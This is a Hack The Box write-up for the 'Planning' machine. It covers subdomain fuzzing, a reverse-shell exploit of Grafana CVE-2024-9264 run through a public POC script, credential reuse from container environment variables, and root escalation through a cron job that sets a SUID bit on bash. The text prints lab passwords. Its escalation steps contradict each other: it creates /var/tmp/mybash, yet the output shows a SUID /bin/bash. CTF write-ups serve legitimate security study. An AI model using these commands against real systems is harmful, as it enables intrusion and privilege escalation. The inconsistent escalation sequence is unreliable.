HTB: Planning#

Recon#

Started with the usual Nmap scan:

1
$ nmap -sC -sV 10.10.11.68
2
PORT   STATE SERVICE VERSION
3
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11
4
80/tcp open  http    nginx 1.24.0 (Ubuntu)

Just SSH and a web server. Port 80 redirects to planning.htb, so that goes into /etc/hosts:

1
$ echo "10.10.11.68 planning.htb" | sudo tee -a /etc/hosts

The site itself is just an educational/online-course platform — nothing interesting on the surface. Time to look for what’s hiding behind it.

Subdomain Fuzzing#

Threw ffuf at it to hunt for vhosts:

1
$ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
2
    -H 'Host: FUZZ.planning.htb' -u http://planning.htb -c

Lots of noise — same size/words/lines across the board, which are false positives from a catch-all response. Filtering those out with -fs:

1
$ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
2
    -H 'Host: FUZZ.planning.htb' -u http://planning.htb -c -fs 178

That surfaces grafana as a real subdomain. Added it to /etc/hosts and browsed to grafana.planning.htb.

Foothold: Grafana → CVE-2024-9264#

Landed on a Grafana login page. As is common on HTB (simulating a real engagement where creds get handed to you), I had a working set: admin:0D5oT70Fq13EvB5r.

Logged in and checked the version via the help icon — v11.0.0. That version is vulnerable to CVE-2024-9264, a command injection / LFI bug in Grafana’s experimental “SQL Expressions” feature. The root cause: Grafana passes unsanitized SQL straight to the DuckDB CLI, and any user with Viewer+ permissions can abuse it for RCE or file read — even though the feature is supposed to be hidden and disabled by default. It’s still reachable through the API regardless of what the GUI shows.

The catch is that DuckDB has to actually be present and on the system PATH for the exploit to work. No way to confirm that up front — just fire the POC and see.

Set up a listener and ran a public POC script against the target:

1
$ nc -lvnp 9001
2
$ python3 poc.py --url http://grafana.planning.htb --username admin \
3
    --password 0D5oT70Fq13EvB5r --reverse-ip <YOUR_IP> --reverse-port 9001

Shell popped:

1
# id
2
uid=0(root) gid=0(root) groups=0(root)

Root — but hostname gives a container ID, so this is inside Docker, not the host.

Lateral Movement: Docker → Host#

Dumped environment variables from inside the container and found hardcoded Grafana admin creds baked in:

1
GF_SECURITY_ADMIN_USER=enzo
2
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!

Classic password reuse — tried the same combo over SSH against the host, and it worked:

1
$ ssh enzo@planning.htb

User flag secured from enzo’s home directory.

Privilege Escalation: Custom Cron Manager#

Ran netstat -tulnp to map out what’s listening locally. Alongside the expected DNS, MySQL, Grafana (3000), and SSH, there’s an unfamiliar service on port 8000. Port-forwarded it over SSH to check it out:

1
$ ssh enzo@planning.htb -L 8000:127.0.0.1:8000

It wanted auth I didn’t have yet, so back to enumerating. Poked around /opt and found a crontabs directory readable by the current user, containing crontab.db. Inside it, in plain text, was another password: P4ssw0rdS0pRi0T3c. This same file also revealed that the service on 8000 is a custom cron management web app, and — critically — one of the scheduled jobs (/root/scripts/cleanup.sh) is clearly running as root.

Logged into the port-8000 panel with the new creds and confirmed I could create and run arbitrary cron jobs. Since these execute as root, the path to escalation is obvious: create a job that sets the SUID bit on bash.

1
save this into a file
2

3
#!/bin/bash
4
cp /bin/bash /var/tmp/mybash
5
chmod 4755 /var/tmp/mybash
6

7
then run :
8
/var/tmp/mybash -p

Saved the job, hit “run now” instead of waiting on the schedule, then checked back on the SSH session as enzo:

1
enzo@planning:~$ ls -la /bin/bash
2
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash

SUID bit set. Dropped into a root shell without losing privileges:

1
$ bash -p
2
bash-5.2# whoami
3
root

Root flag grabbed from /root/root.txt.

Takeaways#

• Subdomain fuzzing is worth doing on every box that “looks empty” — Grafana was invisible until vhost enumeration surfaced it.
• Known CVEs in dashboarding/monitoring tools (Grafana, Kibana, etc.) are a recurring theme in both CTFs and real engagements — always check the version against recent disclosures.
• Password reuse between a service account and a real host account is still one of the most reliable ways to pivot from a container to the underlying host.
• Custom internal tooling (like the cron manager here) is often less hardened than well-known software, and running privileged scheduled jobs through it is a direct line to root.